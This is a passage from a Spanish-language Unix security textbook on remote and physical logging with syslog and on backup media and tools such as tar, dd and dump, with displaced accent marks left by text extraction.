  • 100 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA luisa:~# tail -8 /var/adm/debug Dec 17 18:51:50 luisa kernel: ISO9660 Extensions: RRIP_1991A Dec 18 08:15:32 luisa sshd[3951]: debug: sshd version 1.2.21 [i486-unknown-linux] Dec 18 08:15:32 luisa sshd[3951]: debug: Initializing random number generator; seed file /etc/ssh_random_seed Dec 18 08:15:32 luisa sshd[3951]: debug: inetd sockets after dupping: 7, 8 Dec 18 08:15:34 luisa sshd[3951]: debug: Client protocol version 1.5; client software version 1.2.21 Dec 18 08:15:34 luisa sshd[3951]: debug: Calling cleanup 0x800cf90(0x0) Dec 18 16:33:59 luisa kernel: VFS: Disk change detected on device 02:00 Dec 18 23:41:12 luisa identd[2268]: Successful lookup: 1593 , 22 : toni.users luisa:~#6.5 Logs remotosEl demonio syslog permite f´cilmente guardar registros en m´quinas remotas; de esta forma se a apretende que, aunque la seguridad de un sistema se vea comprometida y sus logs sean modificadosse puedan seguir registrando las actividades sospechosas en una m´quina a priori segura. Esto se aconsigue definiendo un ‘LOGHOST’ en lugar de un archivo normal en el fichero /etc/syslogd.confde la m´quina de la que nos interesa guardar informaci´n; por ejemplo, si queremos registrar toda a ola informaci´n de prioridad info y notice en la m´quina remota rosita, lo indicaremos de la o asiguiente forma: *.=info;*.=notice @rositaTras modificar /etc/syslogd.conf hacemos que el demonio relea su fichero de configuraci´n en- ovi´ndole la se˜al sighup (por ejemplo, con kill). a nPor su parte, en el host donde deseemos almacenar los logs, tenemos que tener definido el puertosyslog en /etc/services y ejecutar syslogd con el par´metro ‘-r’ para que acepte conexiones aa trav´s de la red: e rosita:~# grep syslog /etc/services syslog 514/udp rosita:~# ps xua|grep syslogd root 41 0.0 0.4 852 304 ? S Mar21 0:01 /usr/sbin/syslogd rosita:~# kill -TERM 41 rosita:~# syslogd -r rosita:~#A partir de ese momento todos los mensajes generados en la m´quina origen se enviar´n a la a adestino y se registrar´n seg´n las reglas de esta, en un fichero (lo habitual), en un dispositivo. . . o a uincluso se reenviar´n a otra m´quina (en este caso hemos de tener cuidado con los bucles); si a asuponemos que estas reglas, en nuestro caso, registran los mensajes de la prioridad especificadaantes en /var/adm/messages, en este archivo aparecer´n entradas de la m´quina que ha enviado a ala informaci´n: o rosita:~# tail -3 /var/adm/messages Mar 23 07:43:37 luisa syslogd 1.3-3: restart. Mar 23 07:43:46 luisa in.telnetd[7509]: connect from amparo Mar 23 07:57:44 luisa -- MARK -- rosita:~#Esto, que en muchas situaciones es muy recomendable, si no se realiza correctamente puede inclusocomprometer la seguridad de la m´quina que guarda registros en otro equipo: por defecto, el a
  • 6.5. LOGS REMOTOS 101tr´fico se realiza en texto claro, por lo que cualquier atacante con un sniffer entre las dos m´quinas a apuede tener acceso a informaci´n importante que habr´ que mantener en secreto; imaginemos o ıauna situaci´n muy habitual: un usuario que teclea su password cuando el sistema le pide el login. oEvidentemente, esto generar´ un mensaje de error que syslogd registrar´; este mensaje ser´ similar a a aa este (Linux Slackware 4): Mar 23 05:56:56 luisa login[6997]: invalid password for ‘UNKNOWN’ on ‘ttyp5’ from ‘amparo’Pero, ¿qu´ suceder´ si en lugar de ‘UNKNOWN’ el sistema almacenara el nombre de usuario que se e ıaha introducido, algo que hacen muchos clones de Unix? En esta situaci´n el mensaje ser´ muy o ıaparecido al siguiente (Linux Red Hat 6.1): Mar 23 05:59:15 rosita login[3582]: FAILED LOGIN 1 FROM amparo FOR 5k4@b&-, User not known to the underlying authentication moduleComo podemos ver se registrar´ una contrase˜a de usuario, contrase˜a que estamos enviando a ıa n nla m´quina remota en texto claro a trav´s de la red; evidentemente, es un riesgo que no podemos a ecorrer. Quiz´s alguien pueda pensar que una clave por s´ sola no representa mucho peligro, ya que a ıel atacante no conoce el nombre de usuario en el sistema. De ninguna forma: el pirata s´lo tiene que oesperar unos instantes, porque cuando el usuario teclee su login y su password correctamente (enprincipio, esto suceder´ poco despu´s de equivocarse, recordemos que el usuario trata de acceder a a esu cuenta) el sistema generar´ un mensaje indicando que ese usuario (con su nombre) ha entrado aal sistema.Para evitar este problema existen dos aproximaciones: o bien registramos logs en un equipo direc-tamente conectado al nuestro, sin emitir tr´fico al resto de la red, o bien utilizamos comunicaciones acifradas (por ejemplo con ssh) para enviar los registros a otro ordenador. En el primer caso s´loonecesitamos un equipo con dos tarjetas de red, una por donde enviar el tr´fico hacia la red local ay la otra para conectar con la m´quina donde almacenamos los logs, que s´lo ser´ accesible desde a o anuestro equipo y que no ha de tener usuarios ni ofrecer servicios; no es necesaria una gran potenciade c´lculo: podemos aprovechar un viejo 386 o 486 con Linux o FreeBSD para esta tarea. aEl segundo caso, utilizar comunicaciones cifradas para guardar registros en otro equipo de la red,requiere algo m´s de trabajo; aqu´ no es estrictamente necesario que la m´quina est´ aislada del a ı a eresto de la red, ya que la transferencia de informaci´n se va a realizar de forma cifrada, consi- oguiendo que un potencial atacante no obtenga ning´n dato comprometedor analizando el tr´fico; u aevidentemente, aunque no est´ aislado, es fundamental que el sistema donde almacenamos los logs esea seguro. Para enviar un log cifrado a una m´quina remota podemos utilizar, como hemos dicho aantes, ssh unido a las facilidades que ofrece syslogd; si lo hacemos as´ lo unico que necesitamos es ı, ´el servidor sshd en la m´quina destino y el cliente ssh en la origen. Por ejemplo, imaginemos que aqueremos utilizar a rosita para almacenar una copia de los registros generados en luisa conformese vayan produciendo; en este caso vamos a enviar logs a un fifo con nombre, desde donde los cifra-remos con ssh y los enviaremos al sistema remoto a trav´s de la red. Lo primero que necesitamos ehacer es crear un fichero de tipo tuber´ en la m´quina origen, por ejemplo con mknod o mkfifo: ıa a luisa:~# mknod /var/run/cifra p luisa:~# chmod 0 /var/run/cifra luisa:~# ls -l /var/run/cifra p--------- 1 root root 0 May 4 05:18 /var/run/cifra| luisa:~#Este es el archivo al que enviaremos desde syslogd los registros que nos interesen, por ejemplo los deprioridad warn; hemos de modificar /etc/syslog.conf para a˜adirle una l´ n ınea como la siguiente: luisa:~# tail -1 /etc/syslog.conf *.warn |/var/run/cifra luisa:~#
  • 102 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IAA continuaci´n haremos que syslog relea su nueva configuraci´n mediante la se˜al sighup: o o n luisa:~# ps xua|grep syslog |grep -v grep root 7978 0.0 0.2 1372 156 ? S 03:01 0:00 syslogd -m 0 luisa:~# kill -HUP 7978 luisa:~#Una vez realizados estos pasos ya conseguimos que se registren los eventos que nos interesan enel fichero /var/run/cifra; este archivo es una tuber´ con nombre, de forma que los datos que ıale enviamos no se graban en el disco realmente, sino que s´lo esperan a que un proceso lector olos recoja. Ese proceso lector ser´ justamente el cliente ssh, encargado de cifrarlos y enviarlos al asistema remoto; para ello debemos lanzar una orden como: luisa:~# cat /var/run/cifra | ssh -x rosita ’cat >>/var/log/luisa’Si tenemos configurado ssh para que autentique sin clave podemos lanzar el proceso directamenteen background; si tenemos que introducir la clave del root, una vez tecleada podemos parar el pro-ceso y relanzarlo tambi´n en segundo plano (esto es simplemente por comodidad, realmente no es enecesario). Lo unico que estamos haciendo con este mecanismo es cifrar lo que llega al fifo y enviarlo ´de esta forma al sistema remoto, en el que se descifrar´ y se guardar´ en el fichero /var/log/luisa. a aQuiz´s nos interese a˜adir unas l´ a n ıneas en los scripts de arranque de nuestra m´quina para que aeste proceso se lance autom´ticamente al iniciar el sistema; si lo hacemos as´ hemos de tener cui- a ıdado con la autenticaci´n, ya que si ssh requiere una clave para conectar con el sistema remoto es oprobable que la m´quina tarde m´s de lo normal en arrancar si un operador no est´ en la consola: a a ajustamente el tiempo necesario hasta que ssh produzca un timeout por no teclear el password deroot en el sistema remoto. Si al producirse el timeout el programa ssh no devuelve el control alshell, el sistema ni siquiera arrancar´; de cualquier forma, si ese timeout se produce no estaremos aregistrando ning´n evento en la otra m´quina. Por supuesto, tambi´n debemos prestar atenci´n a u a e ootros problemas con la m´quina destino que eviten que la conexi´n se produzca, con un n´mero a o um´ximo de usuarios sobrepasado o simplemente que ese sistema est´ apagado. a e6.6 Registros f´ ısicosPara asegurarnos m´s de que la informaci´n que se registra de las actividades en nuestro sistema es a ofiable acabamos de explicar c´mo almacenarla, a la vez que en un fichero de la propia m´quina, en o aun equipo remoto a trav´s de la red; la idea es poder comparar los registros de ambos sistemas para edetectar posibles modificaciones en una de ellas. Pero, ¿qu´ sucede si el atacante consigue tambi´n e econtrol sobre el segundo equipo, y modifica tambi´n ah´ los ficheros de log? Aunque a priori este e ısea un sistema seguro, sabemos que nadie nos puede garantizar la seguridad al 100%; en algunoscasos (por ejemplo si sospechamos que el intruso ha conseguido el control de ambos equipos) esconveniente recurrir a registros f´ ısicos, mucho m´s dif´ a ıciles de alterar que los l´gicos. oNo siempre se guarda informaci´n en un fichero plano, ya sea local o remoto. Unix permite al- omacenar mensajes en ficheros especiales – dispositivos –, como terminales o impresoras; son estasultimas las m´s habituales por la seguridad que ofrecen, ya que mientras que un intruso con el´ aprivilegio suficiente puede modificar un fichero de log local, o acceder a un sistema donde se alma-cenen registros remotos, no puede eliminar una informaci´n extra´ por impresora sin tener acceso o ıda ısico a la misma. El demonio syslog de cualquier sistema Unix permite especificar uno de estosf´ficheros especiales como destinatario de ciertos registros de una forma muy simple: no tenemosm´s que a˜adir una entrada en /etc/syslog.conf indicando el dispositivo y la clase de eventos a na registrar en ´l; por ejemplo, para enviar todos los mensajes de prioridad warn a una impresora e(como /dev/lp1) no tenemos m´s que a˜adir en el archivo la l´ a n ınea siguiente: *.warn /dev/lp1
  • 6.6. REGISTROS F´ ISICOS 103Como siempre, tras modificar el fichero de configuraci´n hemos de hacer que el demonio lo relea, obien envi´ndole la se˜al sighup o bien deteni´ndolo y volvi´ndolo a lanzar; por ultimo, si decidimos a n e e ´utilizar una impresora para generar registros f´ ısicos hemos de intentar que se trate de un modelode agujas, ya que dispositivos m´s modernos utilizan buffers que no se llegan a imprimir hasta aque est´n llenos, por lo que ser´ posible para un atacante hacer que se pierda cierta informaci´n. a ıa oHemos de evitar especialmente algunos modelos nuevos de impresoras que tienen incluso sistemade red y direcci´n ip para control remoto, ya que en este caso puede suceder que un pirata llegue oa controlar el dispositivo igual que controla la m´quina que env´ los registros. a ıaOtro tipo de registro f´ısico, m´s b´sico e incluso m´s fiable que el anterior, pero que por des- a a agracia no se suele utilizar mucho, son las propias anotaciones sobre la marcha del sistema quetodo administrador deber´ realizar en una especie de ‘cuaderno de bit´cora’ de cada equipo. Evi- ıa adentemente la unica persona con acceso a dicho cuaderno deber´ ser el administrador, y deber´ ´ ıa ıaguardarse en un lugar seguro, aplicando las mismas pol´ ıticas que por ejemplo aplicamos a las cintasde backup (alejadas del entorno de operaciones para prevenir la p´rdida ante un desastre f´ e ısico,almacenadas bajo llave. . . ).
  • 104 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA
  • Cap´ ıtulo 7Copias de seguridad7.1 Introducci´n oLas copias de seguridad del sistema son con frecuencia el unico mecanismo de recuperaci´n que ´ oposeen los administradores para restaurar una m´quina que por cualquier motivo – no siempre se aha de tratar de un pirata que borra los discos – ha perdido datos. Por tanto, una correcta pol´ ıticapara realizar, almacenar y, en caso de ser necesario, restaurar los backups es vital en la planificaci´n ode seguridad de todo sistema.Asociados a los backups suelen existir unos problemas de seguridad t´ ıpicos en muchas organiza-ciones. Por ejemplo, uno de estos problemas es la no verificaci´n de las copias realizadas: el oadministrador ha dise˜ado una pol´ n ıtica de copias de seguridad correcta, incluso exhaustiva en mu-chas ocasiones, pero nadie se encarga de verificar estas copias. . . hasta que es necesario restaurarficheros de ellas. Evidentemente, cuando llega ese momento el responsable del sistema se encuentraante un gran problema, problema que se podr´ haber evitado simplemente teniendo la precauci´n ıa ode verificar el correcto funcionamiento de los backups; por supuesto, restaurar una copia completapara comprobar que todo es correcto puede ser demasiado trabajo para los m´todos habituales ede operaci´n, por lo que lo que se suele hacer es tratar de recuperar varios ficheros aleatorios del obackup, asumiendo que si esta recuperaci´n funciona, toda la copia es correcta. oOtro problema cl´sico de las copias de seguridad es la pol´ a ıtica de etiquetado a seguir. Son po-cos los administradores que no etiquetan los dispositivos de backup, algo que evidentemente no esmuy util: si llega el momento de recuperar ficheros, el operador ha de ir cinta por cinta (o disco ´por disco, o CD-ROM por CD-ROM. . . ) tratando de averiguar d´nde se encuentran las ultimas o ´versiones de tales archivos. No obstante, muchos administradores siguen una pol´ ıtica de etiquetadoexhaustiva, proporcionando todo tipo de detalles sobre el contenido exacto de cada medio; esto,que en principio puede parecer una posici´n correcta, no lo es tanto: si por cualquier motivo un oatacante consigue sustraer una cinta, no tiene que investigar mucho para conocer su contenido exac-to, lo que le proporciona acceso a informaci´n muy concreta (y muy valiosa) de nuestros sistemas osin ni siquiera penetrar en ellos. La pol´ ıtica correcta para etiquetar los backups ha de ser tal queun administrador pueda conocer la situaci´n exacta de cada fichero, pero que no suceda lo mismo ocon un atacante que roba el medio de almacenamiento; esto se consigue, por ejemplo, con c´digos oimpresos en cada etiqueta, c´digos cuyo significado sea conocido por los operadores de copias de oseguridad pero no por un potencial atacante.La ubicaci´n final de las copias de seguridad tambi´n suele ser err´nea en muchos entornos; general- o e omente, los operadores tienden a almacenar los backups muy cerca de los sistemas, cuando no en lamisma sala. Esto, que se realiza para una mayor comodidad de los t´cnicos y para recuperar ficheros ef´cilmente, es un grave error: no hay m´s que imaginar cualquier desastre del entorno, como un a aincendio o una inundaci´n, para hacerse una idea de lo que les suceder´ a los backups en esos casos. o ıa 105
  • 106 CAP´ ITULO 7. COPIAS DE SEGURIDADEvidentemente, se destruir´ junto a los sistemas, por lo que nuestra organizaci´n perder´ toda su ıan o ıainformaci´n; no obstante, existen voces que reivindican como correcto el almacenaje de las copias ode seguridad junto a los propios equipos, ya que as´ se consigue centralizar un poco la seguridad ı(protegiendo una unica estancia se salvaguarda tanto las m´quinas como las copias). Lo habitual en ´ acualquier organizaci´n suele ser un t´rmino medio entre ambas aproximaciones: por ejemplo, pode- o emos tener un juego de copias de seguridad completas en un lugar diferente a la sala de operaciones,pero protegido y aislado como esta, y un juego para uso diario en la propia sala, de forma que losoperadores tengan f´cil la tarea de recuperar ficheros; tambi´n podemos utilizar armarios ign´ a e ıfugosque requieran de ciertas combinaciones para su apertura (combinaciones que s´lo determinado per- osonal ha de conocer), si decidimos almacenar todos los backups en la misma estancia que los equipos.Por ultimo, ¿qu´ almacenar? Obviamente debemos realizar copias de seguridad de los archivos ´ eque sean unicos a nuestro sistema; esto suele incluir directorios como /etc/, /usr/local/ o la ´ubicaci´n de los directorios de usuario (dependiendo del Unix utilizado, /export/home/, /users/, o/home/. . . ). Por supuesto, realizar una copia de seguridad de directorios como /dev/ o /proc/no tiene ninguna utilidad, de la misma forma que no la tiene realizar backups de directorios delsistema como /bin/ o /lib/: su contenido est´ almacenado en la distribuci´n original del sistema a ooperativo (por ejemplo, los CD-ROMs que utilizamos para instalarlo).7.2 Dispositivos de almacenamientoExisten multitud de dispositivos diferentes donde almacenar nuestras copias de seguridad, desdeun simple disco flexible hasta unidades de cinta de ultima generaci´n. Evidentemente, cada uno ´ otiene sus ventajas y sus inconvenientes, pero utilicemos el medio que utilicemos, ´ste ha de cumplir euna norma b´sica: ha de ser est´ndar. Con toda probabilidad muchos administradores pueden a apresumir de poseer los streamers m´s modernos, con unidades de cinta del tama˜o de una cajetilla a nde tabaco que son capaces de almacenar gigas y m´s gigas de informaci´n; no obstante, utilizar a odispositivos de ultima generaci´n para guardar los backups de nuestros sistemas puede convertirse ´ oen un problema: ¿qu´ sucede si necesitamos recuperar datos y no disponemos de esa unidad lectora etan avanzada? Imaginemos simplemente que se produce un incendio y desaparece una m´quina, yacon ella el dispositivo que utilizamos para realizar copias de seguridad. En esta situaci´n, o dispo- onemos de otra unidad id´ntica a la perdida, o recuperar nuestra informaci´n va a ser algo dif´ e o ıcil.Si en lugar de un dispositivo moderno, r´pido y seguramente muy fiable, pero incompatible con el aresto, hubi´ramos utilizado algo m´s habitual (una cinta de 8mm., un CD-ROM, o incluso un disco e aduro) no tendr´ ıamos problemas en leerlo desde cualquier sistema Unix, sin importar el hardwaresobre el que trabaja.Aqu´ vamos a comentar algunos de los dispositivos de copia de seguridad m´s utilizados hoy en d´ ı a ıa;de todos ellos (o de otros, no listados aqu´ cada administrador ha de elegir el que m´s se adapte a ı) asus necesidades. En la tabla 7.1 se muestra una comparativa de todos ellos.Discos flexiblesS´ aunque los cl´sicos diskettes cada d´ se utilicen menos, a´n se pueden considerar un dispositivo ı, a ıa udonde almacenar copias de seguridad. Se trata de un medio muy barato y portable entre diferen-tes operativos (evidentemente, esta portabilidad existe si utilizamos el disco como un dispositivosecuencial, sin crear sistemas de ficheros). Por contra, su fiabilidad es muy baja: la informaci´n oalmacenada se puede borrar f´cilmente si el disco se aproxima a aparatos que emiten cualquier tipo ade radiaci´n, como un tel´fono m´vil o un detector de metales. Adem´s, la capacidad de almace- o e o anamiento de los floppies es muy baja, de poco m´s de 1 MB por unidad; esto hace que sea casi aimposible utilizarlos como medio de backup de grandes cantidades de datos, restringiendo su uso aficheros individuales.Un diskette puede utilizarse creando en ´l un sistema de ficheros, mont´ndolo bajo un directo- e a
  • 7.2. DISPOSITIVOS DE ALMACENAMIENTO 107rio, y copiando en los archivos a guardar. Por ejemplo, podemos hacer un backup de nuestro ficherode claves en un disco flexible de esta forma. luisa:~# mkfs -t ext2 /dev/fd0 mke2fs 1.14, 9-Jan-1999 for EXT2 FS 0.5b, 95/08/09 Linux ext2 filesystem format Filesystem label= 360 inodes, 1440 blocks 72 blocks (5.00%) reserved for the super user First data block=1 Block size=1024 (log=0) Fragment size=1024 (log=0) 1 block group 8192 blocks per group, 8192 fragments per group 360 inodes per group Writing inode tables: done Writing superblocks and filesystem accounting information: done luisa:~# mount -t ext2 /dev/fd0 /mnt/ luisa:~# cp /etc/passwd /mnt/ luisa:~# umount /mnt/ luisa:~#Si quisi´ramos recuperar el archivo, no tendr´ e ıamos m´s que montar de nuevo el diskette y copiar ael fichero en su ubicaci´n original. No obstante, este uso de los discos flexibles es minoritario; es om´s habitual utilizarlo como un dispositivo secuencial (como una cinta), sin crear en ´l sistemas a ede ficheros – que quiz´s son incompatibles entre diferentes clones de Unix – sino accediendo direc- atamente al dispositivo. Por ejemplo, si de nuevo queremos hacer un backup de nuestro fichero depasswords, pero siguiendo este modelo de trabajo, podemos utilizar la orden tar (comentada m´s aadelante) para conseguirlo: luisa:~# tar cvf /dev/fd0 /etc/passwd tar: Removing leading ‘/’ from absolute path names in the archive etc/passwd luisa:~#Para recuperar ahora el archivo guardado, volvemos a utilizar la orden tar indicando como conte-nedor la unidad de disco correspondiente: luisa:~# tar xvf /dev/fd0 etc/passwd luisa:~#Discos durosEs posible utilizar una unidad de disco duro completa (o una partici´n) para realizar copias de se- oguridad; como suced´ con los discos flexibles, podemos crear un sistema de ficheros sobre la unidad ıao la partici´n correspondiente, montarla, y copiar los ficheros que nos interese guardar en ella (o orecuperarlos). De la misma forma, tambi´n podemos usar la unidad como un dispositivo secuencial ey convertirlo en un contenedor tar o cpio; en este caso hemos de estar muy atentos a la hora deespecificar la unidad, ya que es muy f´cil equivocarse de dispositivo y machacar completamente la ainformaci´n de un disco completo (antes tambi´n pod´ suceder, pero ahora la probabilidad de error o e ıaes m´s alta). Por ejemplo, si en lugar del nombre del dispositivo correcto (supongamos /dev/hdc) aespecificamos otro (como /dev/hdd), estaremos destruyendo la informaci´n guardada en este ultimo. o ´Algo muy interesante en algunas situaciones es utilizar como dispositivo de copia un disco duroid´ntico al que est´ instalado en nuestro sistema, y del que deseamos hacer el backup; en este caso e a
  • 108 CAP´ ITULO 7. COPIAS DE SEGURIDADes muy sencillo hacer una copia de seguridad completa. Imaginemos por ejemplo que /dev/hday /dev/hdc son dos discos exactamente iguales; en este caso, si queremos conseguir una imagenespecular del primero sobre el segundo, no tenemos m´s que utilizar la orden dd con los par´metros a aadecuados: luisa:~# dd if=/dev/hda of=/dev/hdc bs=2048 1523+0 records in 1523+0 records out luisa:~#Cintas magn´ticas eLas cintas magn´ticas han sido durante a˜os (y siguen siendo en la actualidad) el dispositivo de bac- e nkup por excelencia. Las m´s antiguas, las cintas de nueve pistas, son las que mucha gente imagina aal hablar de este medio: un elemento circular con la cinta enrollada en ´l; este tipo de dispositivos ese utiliz´ durante mucho tiempo, pero en la actualidad est´ en desuso, ya que a pesar de su alta o afiabilidad y su relativa velocidad de trabajo, la capacidad de este medio es muy limitada (de hecho,las m´s avanzadas son capaces de almacenar menos de 300 MB., algo que no es suficiente en la amayor parte de sistemas actuales).Despu´s de las cintas de 9 pistas aparecieron las cintas de un cuarto de pulgada (denominadas eqic), mucho m´s peque˜as en tama˜o que las anteriores y con una capacidad m´xima de varios a n n aGigabytes (aunque la mayor parte de ellas almacenan menos de un Giga); se trata de cintas m´s abaratas que las de 9 pistas, pero tambi´n m´s lentas. El medio ya no va descubierto, sino que va e acubierto de una envoltura de pl´stico. aA finales de los ochenta aparece un nuevo modelo de cinta que releg´ a las cintas qic a un se- ogundo plano y que se ha convertido en el medio m´s utilizado en la actualidad: se trata de las acintas de 8mm., dise˜adas en su origen para almacenar v´ n ıdeo. Estas cintas, del tama˜o de una ncassette de audio, tienen una capacidad de hasta cinco Gigabytes, lo que las hace perfectas para lamayor´ de sistemas: como toda la informaci´n a salvaguardar cabe en un mismo dispositivo, el ıa ooperador puede introducir la cinta en la unidad del sistema, ejecutar un sencillo shellscript, y dejarque el backup se realice durante toda la noche; al d´ siguiente no tiene m´s que verificar que no ıa aha habido errores, retirar la cinta de la unidad, y etiquetarla correctamente antes de guardarla. Deesta forma se consigue que el proceso de copia de seguridad sea sencillo y efectivo.No obstante, este tipo de cintas tiene un grave inconveniente: como hemos dicho, originalmen-te estaban dise˜adas para almacenar v´ n ıdeo, y se basan en la misma tecnolog´ para registrar la ıainformaci´n. Pero con una importante diferencia ([P+ 94]): mientras que perder unos bits de la cin- ota donde hemos grabado los mejores momentos de nuestra ultima fiesta no tiene mucha importancia, ´si esos mismos bits los perdemos de una cinta de backup el resto de su contenido puede resultar inser-vible. Es m´s, es probable que despu´s de unos cuantos usos (incluidas las lecturas) la cinta se da˜e a e nirreversiblemente. Para intentar solucionar estos problemas aparecieron las cintas dat, de 4mm.,dise˜adas ya en origen para almacenar datos; estos dispositivos, algo m´s peque˜os que las cintas n a nde 8mm. pero con una capacidad similar, son el mejor sustituto de las cintas antiguas: son muchom´s resistentes que ´stas, y adem´s relativamente baratas (aunque algo m´s caras que las de 8mm.). a e a aHemos dicho que en las cintas de 8mm. (y en las de 4mm.) se pueden almacenar hasta 5 GB.de informaci´n. No obstante, algunos fabricantes anuncian capacidades de hasta 14 GB. utilizando ocompresi´n hardware, sin dejar muy claro si las cintas utilizadas son est´ndar o no ([Fri95]); evi- o adentemente, esto puede llevarnos a problemas de los que antes hemos comentado: ¿qu´ sucede si enecesitamos recuperar datos y no disponemos de la unidad lectora original? Es algo vital que nosaseguremos la capacidad de una f´cil recuperaci´n en caso de p´rdida de nuestros datos (este es a o eel objetivo de los backups al fin y al cabo), por lo que quiz´s no es conveniente utilizar esta com- apresi´n hardware a no ser que sea estrictamente necesario y no hayamos podido aplicar otra soluci´n. o o
  • ´7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 109 Dispositivo Fiabilidad Capacidad Coste/MB Diskette Baja Baja Alto CD-ROM Media Media Bajo Disco duro Alta Media/Alta Medio. Cinta 8mm. Media Alta Medio. Cinta DAT Alta Alta Medio. Tabla 7.1: Comparaci´n de diferentes medios de almacenamiento secundario. oCD-ROMsEn la actualidad s´lo se utilizan cintas magn´ticas en equipos antiguos o a la hora de almacenar o egrandes cantidades de datos – del orden de Gigabytes. Hoy en d´ muchas m´quinas Unix poseen ıa, aunidades grabadoras de CD-ROM, un hardware barato y, lo que es m´s importante, que utiliza adispositivos de muy bajo coste y con una capacidad de almacenamiento suficiente para muchos sis-temas: con una unidad grabadora, podemos almacenar m´s de 650 Megabytes en un CD-ROM que acuesta menos de 150 pesetas. Por estos motivos, muchos administradores se decantan por realizarsus copias de seguridad en uno o varios CD-ROMs; esto es especialmente habitual en estaciones detrabajo o en PCs de sobremesa corriendo alg´n clon de Unix (Linux, Solaris o FreeBSD por regla ugeneral), donde la cantidad de datos a salvaguardar no es muy elevada y se ajusta a un par deunidades de CD, cuando no a una sola.En el punto 7.3.4 se comenta el mecanismo para poder grabar en un CD-ROM; aunque los ejemplosque comentaremos son b´sicos, existen multitud de posibilidades para trabajar con este medio. aPor ejemplo, podemos utilizar dispositivos CD-RW, similares a los anteriores pero que permitenborrar la informaci´n almacenada y volver a utilizar el dispositivo (algo muy util en situaciones o ´donde reutilizamos uno o varios juegos de copias), o utilizar medios con una mayor capacidad dealmacenamiento (CD-ROMs de 80 minutos, capaces de almacenar hasta 700 MB.); tambi´n es muy eutil lo que se conoce como la grabaci´n multisesi´n, algo que nos va a permitir ir actualizando´ o onuestras copias de seguridad con nuevos archivos sin perder la informaci´n que hab´ o ıamos guardadopreviamente.7.3 Algunas ´rdenes para realizar copias de seguridad oAunque muchos clones de Unix ofrecen sus propias herramientas para realizar copias de seguridadde todo tipo (por ejemplo, tenemos mksysb y savevg/restvg en AIX, fbackup y frecover enHP-UX, bru en IRIX, fsphoto en SCO Unix, ufsdump/ufsrestore en Solaris. . . ), casi todas estasherramientas suelen presentar un grave problema a la hora de recuperar archivos: se trata de soft-ware propietario, por lo que si queremos restaurar total o parcialmente archivos almacenados coneste tipo de programas, necesitamos el propio programa para hacerlo. En determinadas situaciones,esto no es posible o es muy dif´ ıcil: imaginemos un departamento que dispone de s´lo una estaci´n o oSilicon Graphics corriendo IRIX y pierde todos los datos de un disco, incluida la utilidad bru; si hautilizado esta herramienta para realizar backups, necesitar´ otra estaci´n con el mismo operativo a opara poder restaurar estas copias, lo que obviamente puede ser problem´tico. aPor este motivo, muchos administradores utilizan herramientas est´ndar para realizar las copias ade seguridad de sus m´quinas; estas herramientas suelen ser tan simples como un shellscript que se aplanifica para que autom´ticamente haga backups utilizando ´rdenes como tar o cpio, programas a ohabituales en cualquier clon de Unix y que no presentan problemas de interoperabilidad entre dife-rentes operativos. De esta forma, si en la estaci´n Silicon Graphics del ejemplo anterior se hubiera outilizado tar para realizar las copias de seguridad, ´stas se podr´ restaurar sin problemas desde e ıanuna m´quina sparc corriendo Solaris, y transferir los ficheros de nuevo a la Silicon. a
  • 110 CAP´ ITULO 7. COPIAS DE SEGURIDAD7.3.1 dump/restoreLa herramienta cl´sica para realizar backups en entornos Unix es desde hace a˜os dump, que vuelca a nsistemas de ficheros completos (una partici´n o una partici´n virtual en los sistemas que las so- o oportan, como Solaris); restore se utiliza para recuperar archivos de esas copias. Se trata de unautilidad disponible en la mayor´ de clones del sistema operativo1 , potente (no diremos ‘sencilla’) y ıalo m´s importante: las copias son completamente compatibles entre Unices, de forma que por ejem- aplo podemos restaurar un backup realizado en IRIX en un sistema HP-UX. Adem´s, como veremos aluego, la mayor parte de las versiones de dump permiten realizar copias de seguridad sobre m´quinas aremotas directamente desde l´ ınea de ´rdenes (en el caso que la variante de nuestro sistema no lo opermita, podemos utilizar rdump/rrestore) sin m´s que indicar el nombre de m´quina precediendo a aal dispositivo donde se ha de realizar la copia.La sintaxis general de la orden dump es dump opciones argumentos fsdonde ‘opciones’ son las opciones de la copia de seguridad, ‘argumentos’ son los argumentosde dichas opciones, y ‘fs’ es el sistema de ficheros a salvaguardar. Se trata de una sintaxis algopeculiar: mientras que lo habitual en Unix es especificar cada argumento a continuaci´n de la op- oci´n adecuada (por ejemplo, ‘find . -perm 700 -type f’ indica un argumento ‘700’ para la oopci´n ‘perm’ y uno ‘f’ para ‘type’), en la orden dump primero especificamos toda la lista de oopciones y a continuaci´n todos sus argumentos; no todas las opciones necesitan un argumento, y oadem´s la lista de argumentos tiene que corresponderse exactamente, en orden y n´mero, con las a uopciones que los necesitan (por ejemplo, si ‘find’ tuviera una sintaxis similar, la orden anterior sehabr´ tecleado como ‘find . -perm -type 700 f’). AIX y Linux son los unicos Unices donde ıa ´la sintaxis de dump (recordemos que en el primero se denomina backup) es la habitual.Las opciones de ‘dump’ m´s utilizadas son las que se muestran en la tabla 7.2; en las p´ginas a aman de cada clon de Unix se suelen incluir recomendaciones sobre par´metros espec´ a ıficos paramodelos de cintas determinados, por lo que como siempre es m´s que recomendable su consulta. aFij´ndonos en la tabla, podemos ver que la opci´n ‘u’ actualiza el archivo /etc/dumpdates tras a orealizar una copia de seguridad con ´xito; es conveniente que este archivo exista antes de utilizar edump por primera vez (podemos crearlo con la orden touch), ya que si no existe no se almacenar´ ainformaci´n sobre las copias de seguridad de cada sistema de ficheros (informaci´n necesaria, por o oejemplo, para poder realizar backups progresivos). En este archivo dump – la propia orden lo hace,el administrador no necesita modificar el archivo a mano. . . y no debe hacerlo – registra informaci´node las copias de cada sistema de archivos, su nivel, y la fecha de realizaci´n, de forma que su aspecto opuede ser similar al siguiente: anita:~# cat /etc/dumpdates /dev/dsk/c0d0s6 0 Thu Jun 22 05:34:20 CEST 2000 /dev/dsk/c0d0s7 2 Wed Jun 21 02:53:03 CEST 2000 anita:~#El uso de dump puede ser excesivamente complejo, especialmente en sistemas antiguos donde esincluso necesario especificar la densidad de la cinta en bytes por pulgada o su longitud en pies;no obstante, hoy en d´ la forma m´s habitual de invocar a esta orden es ‘dump [1-9]ucf cinta ıa afs’, es decir, una copia de seguridad del sistema de ficheros recibido como argumento, de undeterminado nivel y sobre la unidad de cinta especificada. Por ejemplo para realizar una copia deseguridad completa sobre la unidad de cinta /dev/rmt de la partici´n l´gica /dev/dsk/c0d0s7, en o oSolaris podemos utilizar la orden siguiente 